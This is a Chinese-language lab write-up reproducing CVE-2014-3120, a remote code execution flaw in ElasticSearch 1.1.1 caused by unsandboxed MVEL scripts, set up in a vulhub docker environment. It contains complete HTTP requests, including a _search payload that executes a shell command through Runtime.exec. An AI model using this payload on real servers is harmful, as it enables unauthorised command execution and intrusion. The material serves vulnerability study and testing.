(CVE-2014-3120)ElasticSearch 命令执行漏洞
一、漏洞简介
老版本ElasticSearch支持传入动态脚本(MVEL)来执行一些复杂的操作,而MVEL可执行Java代码,而且没有沙盒,所以我们可以直接执行任意代码。
二、漏洞影响
elasticsearch版本:v1.1.1
三、复现过程
编译及运行环境:
docker-compose build
docker-compose up -d
将Java代码放入json中:
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
首先,该漏洞需要es中至少存在一条数据,所以我们需要先创建一条数据:
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "phithon"
}
然后,执行任意代码:
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
结果如图:
参考链接
https://vulhub.org/#/environments/elasticsearch/CVE-2014-3120/